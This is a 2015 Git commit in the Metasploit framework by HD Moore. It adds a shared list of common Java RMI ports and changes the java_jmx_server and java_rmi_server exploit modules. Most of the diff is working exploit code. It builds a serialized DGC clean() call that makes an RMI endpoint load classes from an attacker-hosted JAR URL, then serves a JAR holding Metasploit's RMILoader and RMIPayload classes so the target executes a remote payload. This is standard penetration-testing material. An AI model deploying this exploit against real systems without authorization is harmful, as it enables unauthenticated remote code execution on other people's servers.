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Update autoregister_ports, try both addresses for the MBean

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This commit is contained in:
HD Moore 2015-10-09 20:20:35 -07:00
parent 2b94b70365
commit a590b80211
3 changed files with 56 additions and 36 deletions
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15
lib/msf/core/exploit/java/rmi/util.rb
View File

@ -119,6 +119,21 @@ module Msf
{address: address, port: port, object_number: object_number, uid: uid}
end
# Register ports and services for autofilter support
#
def register_common_rmi_ports_and_services
register_autofilter_ports([
999, 1090, 1098, 1099, 1100, 1101, 1102, 1103, 1129, 1030, 1035, 1199, 1234, 1440, 3273, 3333, 3900,
2199, 2809, 5520, 5580, 5521, 5999, 6060, 6789, 6996, 7700, 7800, 7878, 7890, 7801, 8050, 8051, 8085,
8091, 8205, 8303, 8642, 8701, 8686, 8888, 8889, 8890, 8901, 8902, 8903, 8999, 9001, 9003, 9004, 9005,
9050, 9090, 9099, 9300, 9500, 9711, 9809, 9810, 9811, 9812, 9813, 9814, 9815, 9875, 9910, 9991, 9999,
10001, 10162, 10098, 10099, 11001, 11099, 11333, 12000, 13013, 14000, 15000, 15001, 15200, 16000,
17200, 18980, 20000, 23791, 26256, 31099, 33000, 32913, 37718, 45230, 47001, 47002, 50050, 50500,
50501, 50502, 50503, 50504
])
register_autofilter_services(%W{ rmi rmid java-rmi rmiregistry })
end
end
end
end

11
modules/exploits/multi/misc/java_jmx_server.rb
View File

@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']),
Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi'])
], self.class)
register_common_rmi_ports_and_services
end
def on_request_uri(cli, request)
@ -141,7 +141,14 @@ class Metasploit3 < Msf::Exploit::Remote
print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
end
connect(true, { 'RPORT' => mbean_server[:port] })
# First try to connect to the original RHOST, since the mbean address may be inaccessible
begin
connect(true, { 'RPORT' => mbean_server[:port] })
rescue Rex::ConnectionError
# If that fails, try connecting to the listed address instead
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
end
unless is_rmi?
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
end

66
modules/exploits/multi/misc/java_rmi_server.rb
View File

@ -16,13 +16,13 @@ class Metasploit3 < Msf::Exploit::Remote
'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution',
'Description' => %q{
This module takes advantage of the default configuration of the RMI Registry and
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
invokes a method in the RMI Distributed Garbage Collector which is available via every
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
(custom) RMI endpoints as well.
Note that it does not work against Java Management Extension (JMX) ports since those do
not support remote class loading, unless another RMI endpoint is active in the same
not support remote class loading, unless another RMI endpoint is active in the same
Java process.
RMI method calls do not support or require any sort of authentication.
@ -32,14 +32,14 @@ class Metasploit3 < Msf::Exploit::Remote
'References' =>
[
# RMI protocol specification
[ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],
[ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],
# Placeholder reference for matching
[ 'MSF', 'java_rmi_server']
[ 'MSF', 'java_rmi_server']
],
'DisclosureDate' => 'Oct 15 2011',
'Platform' => %w{ java linux osx solaris win },
'Privileged' => false,
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' =>
{
@ -82,29 +82,27 @@ class Metasploit3 < Msf::Exploit::Remote
))
register_options([
Opt::RPORT(1099),
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
], self.class)
register_autofilter_ports([ 1098, 1099 ])
register_autofilter_services(%W{ rmi rmid java-rmi rmiregistry })
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
], self.class)
register_common_rmi_ports_and_services
end
def exploit
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
# When the server stops due to our timeout, re-raise
# When the server stops due to our timeout, re-raise
# RuntimeError so it won't wait the full wfs_delay
raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
rescue Msf::Exploit::Failed
# When the server stops due primer failing, re-raise
# When the server stops due primer failing, re-raise
# RuntimeError so it won't wait the full wfs_delays
raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
# When the primer fails due to an error connecting with
# the rhost, re-raise RuntimeError so it won't wait the
# the rhost, re-raise RuntimeError so it won't wait the
# full wfs_delays
raise ::RuntimeError, e.message
raise ::RuntimeError, e.message
end
end
@ -119,7 +117,7 @@ class Metasploit3 < Msf::Exploit::Remote
send_header
ack = recv_protocol_ack
if ack.nil?
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
end
jar = rand_text_alpha(rand(8)+1) + '.jar'
@ -143,45 +141,45 @@ class Metasploit3 < Msf::Exploit::Remote
# JDK 1.1 stub protocol
# Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)
# Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
# Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
send_call(
object_number: 2,
uid_number: 0,
uid_time: 0,
uid_count: 0,
operation: 0,
hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash
hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash
arguments: build_dgc_clean_args(new_url)
)
return_value = recv_return
if return_value.nil? && !session_created?
fail_with(Failure::Unknown, 'RMI Call failed')
fail_with(Failure::Unknown, 'RMI Call failed')
end
if return_value && return_value.is_exception? && loader_disabled?(return_value)
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
end
if return_value && return_value.is_exception? && class_not_found?(return_value)
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
end
disconnect
end
def on_request_uri(cli, request)
def on_request_uri(cli, request)
if request.uri =~ /\.jar$/i
p = regenerate_payload(cli)
jar = p.encoded_jar
paths = [
[ "metasploit", "RMILoader.class" ],
[ "metasploit", "RMIPayload.class" ],
[ "metasploit", "RMILoader.class" ],
[ "metasploit", "RMIPayload.class" ],
]
jar.add_files(paths, MetasploitPayloads.path('java'))
jar.add_files(paths, MetasploitPayloads.path('java'))
send_response(cli, jar.pack,
send_response(cli, jar.pack,
{
'Content-Type' => 'application/java-archive',
'Connection' => 'close',
@ -236,7 +234,7 @@ class Metasploit3 < Msf::Exploit::Remote
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
new_array_desc.serial_version = 0x871300b8d02c647e
new_array_desc.flags = 2
new_array_desc.fields = []
@ -252,16 +250,16 @@ class Metasploit3 < Msf::Exploit::Remote
new_array.array_description = array_desc
arguments << new_array
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
new_class_desc.serial_version = 0xa16544ba26f9c2f4
new_class_desc.flags = 2
new_class_desc.fields = []
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents = [
Rex::Java::Serialization::Model::Utf.new(nil, jar_url),
Rex::Java::Serialization::Model::Utf.new(nil, jar_url),
Rex::Java::Serialization::Model::EndBlockData.new
]
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
@ -274,7 +272,7 @@ class Metasploit3 < Msf::Exploit::Remote
arguments << new_object
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
arguments
end